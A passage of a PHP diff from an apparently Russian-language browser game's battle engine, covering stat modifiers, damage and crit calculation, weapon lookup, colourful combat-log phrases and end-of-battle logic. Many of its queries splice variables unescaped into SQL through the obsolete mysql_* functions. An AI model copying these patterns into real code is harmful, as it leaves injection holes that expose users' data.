25; if ($this->user['lovk'] >= 25) $bmfakrit += 15; + if ($this->user['lovk'] >= 50) $bmfuv += 25; if ($this->user['lovk'] >= 50) $bmfauv += 25; if ($this->user['lovk'] >= 50) $bmfakrit += 10; + if ($this->user['lovk'] >= 75) $bmfuv += 40; if ($this->user['lovk'] >= 75) $bmfauv += 30; if ($this->user['lovk'] >= 75) $bmfakrit += 20; + if ($this->user['lovk'] >= 100) $bmfuv += 50; if ($this->user['lovk'] >= 100) $bmfauv += 40; if ($this->user['lovk'] >= 100) $bmfakrit += 30; + if ($this->user['lovk'] >= 125) $bmfuv += 65; if ($this->user['lovk'] >= 125) $bmfauv += 55; if ($this->user['lovk'] >= 125) $bmfakrit += 45; + if ($this->user['inta'] >= 25) $bmfauv += 15; + if ($this->user['inta'] >= 50) $bmfkrit += 20; if ($this->user['inta'] >= 50) $bmfauv += 25; if ($this->user['inta'] >= 50) $bmfakrit += 25; + if ($this->user['inta'] >= 75) $bmfkrit += 30; if ($this->user['inta'] >= 75) $bmfauv += 30; if ($this->user['inta'] >= 75) $bmfakrit += 30; + if ($this->user['inta'] >= 100) $bmfkrit += 40; if ($this->user['inta'] >= 100) $bmfauv += 40; if ($this->user['inta'] >= 100) $bmfakrit += 40; + if ($this->user['inta'] >= 125) $bmfkrit += 55; if ($this->user['inta'] >= 125) $bmfauv += 55; if ($this->user['inta'] >= 125) $bmfakrit += 55; + if ($this->user['vinos'] >= 25) $bmfbron += 2; + if ($this->user['vinos'] >= 50) $bmfauv += 25; if ($this->user['vinos'] >= 50) $bmfbron += 2; if ($this->user['vinos'] >= 50) $bmfakrit += 25; + if ($this->user['vinos'] >= 75) $bmfauv += 30; if ($this->user['vinos'] >= 75) $bmfbron += 3; if ($this->user['vinos'] >= 75) $bmfakrit += 30; + if ($this->user['vinos'] >= 100) $bmfauv += 40; if ($this->user['vinos'] >= 100) $bmfbron += 5; if ($this->user['vinos'] >= 100) $bmfakrit += 40; + if ($this->user['vinos'] >= 125) $bmfauv += 55; if ($this->user['vinos'] >= 125) $bmfbron += 8; if ($this->user['vinos'] >= 125) $bmfakrit += 55; + + if ($this->enemyhar['sila'] >= 25) $bmfud += 1; + if ($this->enemyhar['sila'] >= 50) $bmfud += 2; if ($this->enemyhar['sila'] >= 50) $bmfauv += 25; if ($this->enemyhar['sila'] >= 50) $bmfakrit += 25; + if ($this->enemyhar['sila'] >= 75) $bmfud += 3; if ($this->enemyhar['sila'] >= 75) $bmfauv += 30; if ($this->enemyhar['sila'] >= 75) $bmfakrit += 30; + if ($this->enemyhar['sila'] >= 100) $bmfud += 5; if ($this->enemyhar['sila'] >= 100) $bmfauv += 40; if ($this->enemyhar['sila'] >= 100) $bmfakrit += 40; + if ($this->enemyhar['sila'] >= 125) $bmfud += 11; if ($this->enemyhar['sila'] >= 125) $bmfauv += 65; if ($this->enemyhar['sila'] >= 125) $bmfakrit += 65; + if ($this->enemyhar['lovk'] >= 25) $bmfauv += 25; if ($this->enemyhar['lovk'] >= 25) $bmfakrit += 15; + if ($this->enemyhar['lovk'] >= 50) $bmfuv += 25; if ($this->enemyhar['lovk'] >= 50) $bmfauv += 25; if ($this->enemyhar['lovk'] >= 50) $bmfakrit += 10; + if ($this->enemyhar['lovk'] >= 75) $bmfuv += 40; if ($this->enemyhar['lovk'] >= 75) $bmfauv += 30; if ($this->enemyhar['lovk'] >= 75) $bmfakrit += 20; + if ($this->enemyhar['lovk'] >= 100) $bmfuv += 50; if ($this->enemyhar['lovk'] >= 100) $bmfauv += 40; if ($this->enemyhar['lovk'] >= 100) $bmfakrit += 30; + if ($this->enemyhar['lovk'] >= 125) $bmfuv += 65; if ($this->enemyhar['lovk'] >= 125) $bmfauv += 55; if ($this->enemyhar['lovk'] >= 125) $bmfakrit += 45; + if ($this->enemyhar['inta'] >= 25) $bmfauv += 15; + if ($this->enemyhar['inta'] >= 50) $bmfkrit += 20; if ($this->enemyhar['inta'] >= 50) $bmfauv += 25; if ($this->enemyhar['inta'] >= 50) $bmfakrit += 25; + if ($this->enemyhar['inta'] >= 75) $bmfkrit += 30; if ($this->enemyhar['inta'] >= 75) $bmfauv += 30; if ($this->enemyhar['inta'] >= 75) $bmfakrit += 30; + if ($this->enemyhar['inta'] >= 100) $bmfkrit += 40; if ($this->enemyhar['inta'] >= 100) $bmfauv += 40; if ($this->enemyhar['inta'] >= 100) $bmfakrit += 40; + if ($this->enemyhar['inta'] >= 125) $bmfkrit += 55; if ($this->enemyhar['inta'] >= 125) $bmfauv += 55; if ($this->enemyhar['inta'] >= 125) $bmfakrit += 55; + if ($this->enemyhar['vinos'] >= 25) $bmfbron += 2; + if ($this->enemyhar['vinos'] >= 50) $bmfauv += 25; if ($this->enemyhar['vinos'] >= 50) $bmfbron += 2; if ($this->enemyhar['vinos'] >= 50) $bmfakrit += 25; + if ($this->enemyhar['vinos'] >= 75) $bmfauv += 30; if ($this->enemyhar['vinos'] >= 75) $bmfbron += 3; if ($this->enemyhar['vinos'] >= 75) $bmfakrit += 30; + if ($this->enemyhar['vinos'] >= 100) $bmfauv += 40; if ($this->enemyhar['vinos'] >= 100) $bmfbron += 5; if ($this->enemyhar['vinos'] >= 100) $bmfakrit += 40; + if ($this->enemyhar['vinos'] >= 125) $bmfauv += 55; if ($this->enemyhar['vinos'] >= 125) $bmfbron += 8; if ($this->enemyhar['vinos'] >= 125) $bmfakrit += 55; + + //************* + + $mf = array(); + if ($enemy > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT * FROM `bots` WHERE `id` = ' . $enemy . ' LIMIT 1;')); + $this->enemyhar = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = \'' . $bots['prototype'] . '\' LIMIT 1;')); + $this->enemy_dress = mysql_fetch_array(mysql_query('SELECT sum(minu),sum(maxu),sum(mfkrit),sum(mfakrit),sum(mfuvorot),sum(mfauvorot),sum(bron1),sum(bron2),sum(bron3),sum(bron4) FROM `inventory` WHERE `dressed`=1 AND `owner` = \'' . $bots['prototype'] . '\' LIMIT 1;')); + $this->enemyhar['hp'] = $bots['hp']; + } else { + $this->enemyhar = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = \'' . $enemy . '\' LIMIT 1;')); + $this->enemy_dress = mysql_fetch_array(mysql_query('SELECT sum(minu),sum(maxu),sum(mfkrit),sum(mfakrit),sum(mfuvorot),sum(mfauvorot),sum(bron1),sum(bron2),sum(bron3),sum(bron4) FROM `inventory` WHERE `dressed`=1 AND `owner` = \'' . $enemy . '\' LIMIT 1;')); + } + $this->user_dress = mysql_fetch_array(mysql_query('SELECT sum(minu),sum(maxu),sum(mfkrit),sum(mfakrit),sum(mfuvorot),sum(mfauvorot),sum(bron1),sum(bron2),sum(bron3),sum(bron4) FROM `inventory` WHERE `dressed`=1 AND `owner` = \'' . $this->user['id'] . '\' LIMIT 1;')); + $this->enemy_dress[6] += $bmfbron1; + $this->enemy_dress[7] += $bmfbron1; + $this->enemy_dress[8] += $bmfbron1; + $this->enemy_dress[9] += $bmfbron1; + + $this->user_dress[6] += $bmfbron; + $this->user_dress[7] += $bmfbron; + $this->user_dress[8] += $bmfbron; + $this->user_dress[9] += $bmfbron; + + //print_r($this->user); + //print_r($this->enemyhar); + + // мои МФ в отношении противника + //mt_srand(microtime()); + + + $mykrit = $this->user_dress[2] + $this->user['inta'] * 2.95 + $bmfkrit; + //if($mykrit < 1) { $mykrit = 1; } elseif ($mykrit > 50) { $mykrit = 50; } + $heakrit = ($this->enemy_dress[3] + $this->enemyhar['inta'] * 2.75 + $this->enemyhar['lovk']) * 0 + $bmfakrit1; + //if($heakrit < 1) { $heakrit = 1; } elseif ($heakrit > 50) { $heakrit = 50; } + $myuvorot = $this->user_dress[4] + $this->user['lovk'] * 5 + $bmfuv; + //if($myuvorot < 1) { $myuvorot = 1; } elseif ($myuvorot > 50) { $myuvorot = 50; } + $heauvorot = $this->enemy_dress[5] + $this->enemyhar['lovk'] * 4 + $this->enemyhar['inta'] * 1.35 + $bmfauv1; + //if($heauvorot < 1) { $heauvorot = 1; } elseif ($heauvorot > 50) { $heauvorot = 50; } + + $mf['me'] = array( + 'udar' => rand(floor($this->user['sila'] / 3) + 1 + $this->user_dress[0], floor($this->user['sila'] / 3) + 5 + $this->user_dress[1]) - mt_rand(0, $this->enemy_dress[5 + $myattack] / 1.25), + //'krit' => (0-$this->enemy_dress[3]-floor($this->enemyhar['inta']*4)+$this->user_dress[2]+floor($this->user['inta']*4)), + //'uvorot' => (0-$this->enemy_dress[5]-floor($this->enemyhar['lovk']*4)+$this->user_dress[4]+floor($this->user['lovk']*4)), + 'krit' => $mykrit / $heakrit * 100 - 100, //(1-($heakrit+70)/($mykrit+70))*70, //(1 - $heakrit/$mykrit)*100, // + 'uvorot' => $myuvorot / $heauvorot * 100 - 100 //(1-($heauvorot+80)/($myuvorot+80))*53, //(1 - $heauvorot/$myuvorot)*0.8*100, // + ); + if ($mf['me']['udar'] < 1) { + $mf['me']['udar'] = 1; + } + if ($mf['me']['krit'] < 1) { + $mf['me']['krit'] = 1; + } elseif ($mf['me']['krit'] > 50) { + $mf['me']['krit'] = 50; + } + if ($mf['me']['uvorot'] < 1) { + $mf['me']['uvorot'] = 1; + } elseif ($mf['me']['uvorot'] > 65) { + $mf['me']['uvorot'] = 65; + } + if ($this->get_wep_type($this->user['weap']) == 'kulak' && $this->user['align'] == '2') { + $mf['me']['udar'] += $this->user['level']; + } + switch ($this->get_wep_type($this->user['weap'])) { + case "noj": + $mf['me']['udar'] += $this->user['noj']; + break; + case "dubina": + $mf['me']['udar'] += $this->user['dubina']; + break; + case "topor": + $mf['me']['udar'] += $this->user['topor']; + break; + case "mech": + $mf['me']['udar'] += $this->user['mec']; + break; + } + $mf['me']['udar'] += $bmfud; + // МФ врага в отношении меня + mt_srand(microtime()); + + $myakrit = $this->user_dress[3] + $this->user['inta'] * 2.75 + $this->user['lovk'] * 0 + $bmfakrit; + //if($myakrit < 1) { $myakrit = 1; } elseif ($myakrit > 50) { $myakrit = 50; } + $hekrit = $this->enemy_dress[2] + $this->enemyhar['inta'] * 2.95 + $bmfkrit1; + //if($hekrit < 1) { $hekrit = 1; } elseif ($hekrit > 50) { $hekrit = 50; } + $myauvorot = $this->user_dress[5] + $this->user['lovk'] * 4 + $this->user['inta'] * 1.35 + $bmfauv; + //if($myauvorot < 1) { $myauvorot = 1; } elseif ($myauvorot > 50) { $myauvorot = 50; } + $heuvorot = $this->enemy_dress[4] + $this->enemyhar['lovk'] * 5 + $this->enemyhar['inta'] * 0 + $bmfuv1; + + $mf['he'] = array( + 'udar' => rand(floor($this->enemyhar['sila'] / 3) + 1 + $this->enemy_dress[0], floor($this->enemyhar['sila'] / 3) + 4 + $this->enemy_dress[1]) - mt_rand(0, $this->user_dress[5 + $this->battle[$enemy][$this->user['id']][0]] / 1.25), + 'krit' => $hekrit / $myakrit * 100 - 100, //(1-($myakrit+70)/($hekrit+70))*70, //(1 - $myakrit/$hekrit)*100, // + 'uvorot' => $heuvorot / $myauvorot * 100 - 100 //(1-($myauvorot+80)/($heuvorot+80))*53, //(1 - $myauvorot/$heuvorot)*0.8*100, // + ); + if ($mf['he']['udar'] < 1) { + $mf['he']['udar'] = 1; + } + if ($mf['he']['krit'] < 1) { + $mf['he']['krit'] = 1; + } elseif ($mf['he']['krit'] > 50) { + $mf['he']['krit'] = 50; + } + if ($mf['he']['uvorot'] < 1) { + $mf['he']['uvorot'] = 1; + } elseif ($mf['he']['uvorot'] > 65) { + $mf['he']['uvorot'] = 65; + } + if ($this->get_wep_type($this->enemyhar['weap']) == 'kulak' && $this->enemyhar['align'] == '2') { + $mf['he']['udar'] += $this->enemyhar['level']; + } + switch ($this->get_wep_type($this->enemyhar['weap'])) { + case "noj": + $mf['he']['udar'] += $this->enemyhar['noj']; + break; + case "dubina": + $mf['he']['udar'] += $this->enemyhar['dubina']; + break; + case "topor": + $mf['he']['udar'] += $this->enemyhar['topor']; + break; + case "mech": + $mf['he']['udar'] += $this->enemyhar['mec']; + break; + } + $mf['he']['udar'] += $bmfud1; + if ($enemy > _BOTSEPARATOR_) { + $mf['he']['krit'] -= 6; + } + return $mf; + } + + /*------------------------------------------------------------------- + выставляем команды, и противников/союзников +--------------------------------------------------------------------*/ + + function get_wep_type($idwep) + { + if ($idwep == 0 || $idwep == null || $idwep == '') { + return "kulak"; + } + $wep = mysql_fetch_array(mysql_query('SELECT `otdel`,`minu` FROM `inventory` WHERE `id` = ' . $idwep . ' LIMIT 1;')); + if ($wep[0] == '1') { + return "noj"; + } elseif ($wep[0] == '12') { + return "dubina"; + } elseif ($wep[0] == '11') { + return "topor"; + } elseif ($wep[0] == '13') { + return "mech"; + } elseif ($wep[0] == 14) { + return "priklad"; + } elseif ($wep[1] > 0) { + return "buket"; + } else { + return "kulak"; + } + + } + + /*------------------------------------------------------------------- + считаем опыт +--------------------------------------------------------------------*/ + + function get_chanse($persent) + { + //srand(microtime()); + $mm = 1000000; + if (rand($mm, 100 * $mm) <= $persent * $mm) { + return true; + } else { + return false; + } + } + + /*------------------------------------------------------------------- + инициализируем размен +--------------------------------------------------------------------*/ + + function razmen_log($type, $kuda, $chem, $uron, $kto, $c1, $pokomy, $c2, $hp, $maxhp) + { + $this->write_stat(nick5($kto, $c1) . "|++|" . nick5($pokomy, $c2) . "|++|" . $type . "|++|" . $uron . "|++|" . $kuda . "|++|" . $chem); + //print_R(func_get_args()); + //echo $this->user['login']."------------------
    "; + if ($this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { + $sex1 = false; + } + if (!$this->enemyhar['sex'] && $kto == $this->enemyhar['id']) { + $sex1 = true; + } + if ($this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { + $sex2 = false; + } + if (!$this->enemyhar['sex'] && $pokomy == $this->enemyhar['id']) { + $sex2 = true; + } + + if ($this->user['sex'] && $kto == $this->user['id']) { + $sex1 = false; + } + if (!$this->user['sex'] && $kto == $this->user['id']) { + $sex1 = true; + } + if ($this->user['sex'] && $pokomy == $this->user['id']) { + $sex2 = false; + } + if (!$this->user['sex'] && $pokomy == $this->user['id']) { + $sex2 = true; + } + + if ($hp < 0) { + $hp = 0; + } + + $hiden_warior = mysql_fetch_array(mysql_query('SELECT `id`, `invis` FROM `users` WHERE `id` = "' . $pokomy . '" LIMIT 1')); + if ($hiden_warior['invis'] == 1) { + $hp = '??'; + $maxhp = '??'; + $uron = '??'; + } + + // текст по промазыванию + if (!$sex1) { + $textfail = array('думал о <вырезано цензурой>, вследствие чего', + 'пытался нанести удар, но ', + 'подскользнулся, и', + 'старался провести удар, но', + 'закашлялся, и', + 'пытался провести удар, но', + 'потерял самоконтроль, вследствие чего', + 'думал не о том, и'); + } else { + $textfail = array('думала о <вырезано цензурой>, вследствие чего', + 'пыталась нанести удар, но ', + 'подскользнулась, и', + 'старалась провести удар, но', + 'закашлялась, и', + 'пыталась провести удар, но ', + 'потеряла самоконтроль, вследствие чего', + 'думала не о том, и'); + } + // чем били + $textchem = array( + "kulak" => array("грудью", "ребром руки", "лбом", "кулаком", "ногой", "левой ногой", "правой ногой", "коленом"), + "noj" => array("ножом", "тыльной стороной лезвия ножа", "рукоятью ножа", "лезвием ножа"), + "dubina" => array("сучковатой палкой", "поленом", "тяжелой дубиной", "дубиной", "рукоятью молота"), + "topor" => array("секирой", "топором", "лезвием секиры", "алебардой", "тяжелым держаком", "длинной секирой"), + "mech" => array("ножнами", "гардой", "мечом", "лезвием меча", "рукоятью меча", "тупым лезвием", "острой стороной меча", "огромным мечом",), + "buket" => array("охапкой цветов", "веником", "букетом", "колючками", "снопом", "стеблем", "листьями", "бутоном",) + ); + $textchem = $textchem[$chem]; + // куда били + $udars = array( + '1' => array('в нос', 'в глаз', 'в челюсть', 'по переносице', 'в кадык', 'по затылку', 'в правый глаз', 'в левый глаз', 'в скулу'), + '2' => array('в грудь', 'в корпус', 'в солнечное сплетение', 'в сердце', 'в бок', 'в область лопаток', 'по желудку', 'по левой руке', 'по правой руке'), + '3' => array('по <вырезано цензурой>', 'в пах', 'в промежность', 'по левой ягодице', 'по правой ягодице'), + '4' => array('по ногам', 'в область правой пятки', 'в область левой пятки', 'по коленной чашечке', 'по икрам') + ); + $kuda = $udars[$kuda][mt_rand(0, count($udars[$kuda]) - 1)]; + //тест по попаданию + if (!$sex1) { + $hark = array('бесчувственный', 'расстроенный', 'храбрый', 'обезумевший', 'неустрашимый', 'злобный', 'жестокий', 'наглый', + 'разъяренный', 'продвинутый', 'хитрый', 'мужественный', '', '', '', '', '', ''); + } else { + $hark = array('бесчувственная', 'расстроенная', 'храбрая', 'обезумевшая', 'неустрашимая', 'злобная', 'жестокая', 'наглая', + 'разъяренная', 'продвинутая', 'хитрая', 'прекрасная', '', '', '', '', '', ''); + } + if (!$sex2) { + $hark2 = array('бесчувственный', 'расстроенный', 'храбрый', 'обезумевший', 'неустрашимый', 'злобный', 'жестокий', 'наглый', + 'разъяренный', 'продвинутый', 'хитрый', 'мужественный', '', '', '', '', '', ''); + } else { + $hark2 = array('бесчувственная', 'расстроенная', 'храбрая', 'обезумевшая', 'неустрашимая', 'злобная', 'жестокая', 'наглая', + 'разъяренная', 'продвинутая', 'хитрая', 'прекрасная', '', '', '', '', '', ''); + } + if (!$sex2) { + $textud = array('забылся, и тут', + 'замешкался, и за это', + 'растерялся, как вдруг', + 'ковырялся в зубах, и тут', + 'поперхнулся, но вдруг', + 'пытался что-то сказать но вдруг, неожиданно', + 'растерялся, как вдруг', + 'засмотрелся на <вырезано цензурой>, а в это время', + 'высморкался, и в это время', + 'думал не о том, и', + 'пришел в себя, но в это время', + 'обернулся, как внезапно'); + } else { + $textud = array('забылась, и тут', + 'замешкалась, и за это ', + 'растерялась, как вдруг ', + 'ковырялась в зубах, и тут ', + 'поперхнулась, но вдруг ', + 'пыталась что-то сказать но вдруг, неожиданно', + 'растерялась, как вдруг', + 'засмотрелась на <вырезано цензурой>, а в это время', + 'высморкалась, и в это время', + 'думала не о том, и', + 'пришла в себя, но в это время ', + 'обернулась, как внезапно'); + } + + switch ($type) { + // уворот + case "uvorot": + if ($sex2) { + $textuvorot = array(" уклонилась от удара ", " увернулась от удара ", " отскочила от удара "); + } else { + $textuvorot = array(" уклонился от удара ", " увернулся от удара ", " отскочил от удара "); + } + + return '' . date("[H:i:s]") . ' ' . nick5($kto, $c1) . ' ' . $textfail[rand(0, count($textfail) - 1)] . ' ' . $hark2[rand(0, count($hark2) - 1)] . ' ' . nick5($pokomy, $c2) . ' ' . $textuvorot[rand(0, count($textuvorot) - 1)] . ' ' . $textchem[rand(0, count($textchem) - 1)] . ' ' . $kuda . '.
    '; + break; + //блок + case "block": + if ($sex2) { + $textblock = array(" заблокировала удар ", " остановила удар ", " отбила удар "); + } else { + $textblock = array(" заблокировал удар ", " остановил удар ", " отбил удар "); + } + return '' . date("[H:i:s]") . ' ' . nick5($kto, $c1) . ' ' . $textfail[rand(0, count($textfail) - 1)] . ' ' . $hark2[rand(0, count($hark2) - 1)] . ' ' . nick5($pokomy, $c2) . ' ' . $textblock[rand(0, count($textblock) - 1)] . ' ' . $textchem[rand(0, count($textchem) - 1)] . ' ' . $kuda . '.
    '; + break; + //крит + case "krit": + if ($sex1) { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударила", ", сказав \"БУ!\", ласково ударила", ", расслабившись, ударила", ", показав сразу два пальца, ударила", ", напугав всех, укусила", ", проклиная этот сайт, ударила"); + } else { + $textkrit = array(", напугав всех, неслышно подойдя сзади ударил", ", сказав \"БУ!\", ласково ударил", ", расслабившись, ударил", ", показав сразу два пальца, ударил", ", напугав всех, укусил", ", проклиная этот сайт, ударил"); + } + return '' . date("[H:i:s]") . ' ' . nick5($pokomy, $c2) . ' ' . $textud[rand(0, count($textud) - 1)] . ' ' . $hark[rand(0, count($hark) - 1)] . ' ' . nick5($kto, $c1) . ' ' . $textkrit[rand(0, count($textkrit) - 1)] . ' ' . $kuda . '.-' . $uron . ' [' . $hp . '/' . $maxhp . ']' . '
    '; + break; + //крит + case "krita": + if ($sex1) { + $textkrit = array(", напугав всех, неслышно подойдя сзади, пробив блок, ударила", ", сказав \"БУ!\", ласково, пробив блок, ударила", ", расслабившись, пробив блок, ударила", ", показав сразу два пальца, пробив блок, ударила", ", напугав всех, пробив блок, укусила", ", проклиная этот сайт, пробив блок, ударила"); + } else { + $textkrit = array(", напугав всех, неслышно подойдя сзади, пробив блок, ударил", ", сказав \"БУ!\", ласково, пробив блок, ударил", ", расслабившись, пробив блок, ударил", ", показав сразу два пальца, пробив блок, ударил", ", напугав всех, пробив блок, укусил", ", проклиная этот сайт, пробив блок, ударил"); + } + return '' . date("[H:i:s]") . ' ' . nick5($pokomy, $c2) . ' ' . $textud[rand(0, count($textud) - 1)] . ' ' . $hark[rand(0, count($hark) - 1)] . ' ' . nick5($kto, $c1) . ' ' . $textkrit[rand(0, count($textkrit) - 1)] . ' ' . $kuda . '.-' . $uron . ' [' . $hp . '/' . $maxhp . ']' . '
    '; + break; + // попадание + case "udar": + if ($sex1) { + $textudar = array(", разбежавшись, рубанула", " отчаянно проткнула ", " нехотя уколола ", " не подумав, рубанула ", ", улыбаясь, саданула укол ", " приложила удар ", " ударила ", " сдуру вмазала "); + } else { + $textudar = array(", разбежавшись, рубанул", " отчаянно проткнул ", " нехотя уколол ", " не подумав, рубанул ", ", улыбаясь, саданул укол ", " приложил удар ", " ударил ", " сдуру вмазал "); + } + return '' . date("[H:i:s]") . ' ' . nick5($pokomy, $c2) . ' ' . $textud[rand(0, count($textud) - 1)] . ' ' . $hark[rand(0, count($hark) - 1)] . ' ' . nick5($kto, $c1) . '' . $textudar[rand(0, count($textudar) - 1)] . ' ' . $textchem[rand(0, count($textchem) - 1)] . ' ' . $kuda . ' -' . $uron . ' [' . $hp . '/' . $maxhp . ']' . '
    '; + break; + } + } + + /*------------------------------------------------------------------ + получаем тип оружия +--------------------------------------------------------------------*/ + + function write_stat($text) + { + $fp = fopen("backup/stat/battle" . $this->user['battle'] . ".txt", "a"); //открытие + flock($fp, LOCK_EX); //БЛОКИРОВКА ФАЙЛА + fputs($fp, $text . "\n"); //работа с файлом + fflush($fp); //ОЧИЩЕНИЕ ФАЙЛОВОГО БУФЕРА И ЗАПИСЬ В ФАЙЛ + flock($fp, LOCK_UN); //СНЯТИЕ БЛОКИРОВКИ + fclose($fp); //закрытие + } + + /*------------------------------------------------------------------ + генератор ударов =) +--------------------------------------------------------------------*/ + + function get_block($komy, $att, $def, $enemy) + { + // по типам блоков + $blocks = array( + '1' => array(1, 2), + '2' => array(2, 3), + '3' => array(3, 4), + '4' => array(4, 1) + ); + /* $this->write_stat_block(nick5($this->user['id'],$this->my_class)."|++|".implode('/',$blocks[$def])); + $this->write_stat_block(nick5($enemy,$this->en_class)."|++|".implode('/',$blocks[$this->battle[$enemy][$this->user['id']][1]]));*/ + switch ($komy) { + case "me" : + if (!in_array($this->battle[$enemy][$this->user['id']][0], $blocks[$def])) { + return true; + } else { + return false; + } + break; + // бьем вражину + case "he" : + if (!in_array($att, $blocks[$this->battle[$enemy][$this->user['id']][1]])) { + return true; + } else { + return false; + } + break; + } + } + + /*------------------------------------------------------------------ + проверка на попадание "куда надо" +--------------------------------------------------------------------*/ + + function select_enemy2($smena_id) + { + if (($this->user['hp'] > 0) && $this->battle) { + foreach ($this->battle[$this->user['id']] as $k => $v) { + if ($this->battle[$this->user['id']][$smena_id][0] == 0) { + $enemys[] = $smena_id; + } + } + $_SESSION['enemy'] = $smena_id; + $this->enemy = $smena_id; + return $enemys; + } else { + return 0; + } + } + + /*------------------------------------------------------------------ + возвращает получился шанс или нет +--------------------------------------------------------------------*/ + + function fast_death() + { + // убиваем трупов + if ($this->battle) { + //$this->battle[$this->user['id']]=1; + foreach ($this->battle as $k => $v) { + if ($k > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT * FROM `bots` WHERE `id` = ' . $k . ' LIMIT 1;')); + $us = mysql_fetch_array(mysql_query('SELECT `hp`, `maxhp`, `sex`,`id`,`battle` FROM `users` WHERE `id` = ' . $bots['prototype'] . ' LIMIT 1;')); + $us['hp'] = $bots['hp']; + $us['battle'] = $bots['battle']; + } else { + $us = mysql_fetch_array(mysql_query('SELECT `hp`, `maxhp`, `sex`,`id`,`battle` FROM `users` WHERE `id` = ' . $k . ' LIMIT 1;')); + } + if ($us && (int)$us['hp'] <= 0) { + //$battle_data = mysql_fetch_array(mysql_query ('SELECT * FROM `battle` WHERE `id` = '.$this->user['battle'].' LIMIT 1;')); + //$war = unserialize($battle_data['teams']); + // unset($battle_data); + //$war=array_keys($war); + // if(in_array($k,$war)) { + unset($this->battle[$k]); + if ($us['sex'] == 1) { + $this->add_log('' . date("H:i") . ' ' . nick5($k, 'b') . ' проиграл бой!
    '); + } else { + $this->add_log('' . date("H:i") . ' ' . nick5($k, 'b') . ' проиграла бой!
    '); + } + mysql_query('UPDATE `users` SET `hp` = 0, `fullhptime` = ' . time() . ' WHERE `id` = \'' . $k . '\' LIMIT 1;'); + foreach ($this->battle as $kak => $vav) { + unset($this->battle[$kak][$k]); + } + //} + } + if ($k == null) { + //unset($this->battle[$k]); + foreach ($this->battle as $kak => $vav) { + unset($this->battle[$kak][$k]); + } + } + if ($us['battle'] == 0) { + //unset($this->battle[$k]); + foreach ($this->battle as $kak => $vav) { + //unset($this->battle[$kak][$k]); + } + } + unset($us); + } + // обновить битку + $this->update_battle(); + } + } + + /*------------------------------------------------------------------ + выбираем противничка +--------------------------------------------------------------------*/ + + function select_enemy() + { + if (($this->user['hp'] > 0) && $this->battle) { + foreach ($this->battle[$this->user['id']] as $k => $v) { + if ($this->battle[$this->user['id']][$k][0] == 0) { + $enemys[] = $k; + } + } + return $enemys[mt_rand(0, count($enemys) - 1)]; + } else { + return 0; + } + } + + /*------------------------------------------------------------------ + считаем модификаторы +--------------------------------------------------------------------*/ + + function get_timeout() + { + if ($this->battle) { + if ($this->my_class == 'B1') { + if ($this->to2 <= $this->to1) { + return ((time() - $this->to2) > $this->battle_data['timeout'] * 60); + } else { + return false; + } + } else { + if ($this->to2 >= $this->to1) { + return ((time() - $this->to1) > $this->battle_data['timeout'] * 60); + } else { + return false; + } + } + } + } + + /*------------------------------------------------------------------ + сейвим бой +--------------------------------------------------------------------*/ + + function end_draft() + { + //foreach ($this->battle[$this->user['id']] as $k => $v) { + if (!$this->user['in_tower']) { + if ($this->get_timeout()) { + $this->battle = null; + mysql_query("UPDATE users SET `battle` =0, `fullhptime` = " . time() . " WHERE `battle` = {$this->user['battle']}"); + $this->add_log("" . date("H:i") . " Бой закончен по таймауту. Ничья.
    "); + mysql_query("UPDATE battle SET `win` = 0 WHERE `id` = {$this->user['battle']}"); + $this->exp = null; + $this->write_log(); + } + } + } + + /*------------------------------------------------------------------ + генератор фраз комментатора +--------------------------------------------------------------------*/ + + function write_log() + { + //mysql_query('UPDATE `logs` SET `log` = CONCAT(`log`,\''.$this->log.'\') WHERE `id` = '.$this->user['battle'].''); + + $fp = fopen("backup/logs/battle" . $this->user['battle'] . ".txt", "a"); //открытие + flock($fp, LOCK_EX); //БЛОКИРОВКА ФАЙЛА + fputs($fp, $this->log); //работа с файлом + fflush($fp); //ОЧИЩЕНИЕ ФАЙЛОВОГО БУФЕРА И ЗАПИСЬ В ФАЙЛ + flock($fp, LOCK_UN); //СНЯТИЕ БЛОКИРОВКИ + fclose($fp); //закрытие + $this->log = ''; + } + + /*------------------------------------------------------------------ + есть ли тайм в советском союзе? +--------------------------------------------------------------------*/ + + function end_gora() + { + // я - царь горы + if ($this->get_timeout()) { + //$this->add_log("".date("H:i")." Бой закончен по таймауту.
    "); + //$this->write_log (); + + foreach ($this->team_mine as $v) { + if (in_array($v, array_keys($this->battle))) { + $vvv = $v; + // $this->add_log("
    ".$v); + } + } + $this->add_log("" . date("H:i") . " Бой закончен по таймауту.
    "); + + + foreach ($this->team_enemy as $v => $k) { + if ($k > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = ' . $k . ' LIMIT 1;')); + $us['hp'] = $bots['hp']; + } else { + $us = mysql_fetch_array(mysql_query('SELECT `hp` FROM `users` WHERE `id` = ' . $k . ' LIMIT 1;')); + } + if ($us && (int)$us['hp'] > 0) { + if (!$this->battle_data['blood']) { + $tr = settravma($k, 0, 86400, 1); + $this->add_log('' . date("H:i") . ' ' . nick7($k) . ' получил повреждение: ' . $tr . '
    '); + } + } + } + //$this->write_log (); + foreach ($this->team_enemy as $v => $k) { + mysql_query('UPDATE users SET `hp` =0, `fullhptime` = ' . time() . ' WHERE `id` = ' . $k . ';'); + } + header("Location:" . $_SERVER['PHP_SELF'] . "?batl=" . $this->user['battle']); + } + } + + /*------------------------------------------------------------------- + работа с логами +--------------------------------------------------------------------*/ + + function battle_end() + { + /////////////OPITO MODIFIKATORIUS: 1-100; 2 - 200; 3 - 300 ir tt. + global $opoitas, $caverooms, $user, $cavebots, $party, $rep; + $ddd = mysql_fetch_array(mysql_query("SELECT * FROM `effects` WHERE `owner` = " . $user['id'] . " and `type` = 555 limit 1;")); + if ($ddd) { + $opitas = 1.1; + } else { + $opitas = 1; + } + + ////////////// + if ($this->battle_data) { + $ss = @array_keys($this->battle); + if ($this->user['id'] == 10022) { + //var_dump($ss, $this->t1); + } + $t1life = 0; + $t2life = 0; + // проверяем живность команд + foreach ($this->t1 as $k => $v) { + if (in_array($v, array_keys($this->battle))) { + $t1life++; + } + } + foreach ($this->t2 as $k => $v) { + if (in_array($v, array_keys($this->battle))) { + $t2life++; + } + } + if ($t2life == 0 OR $t1life == 0) { 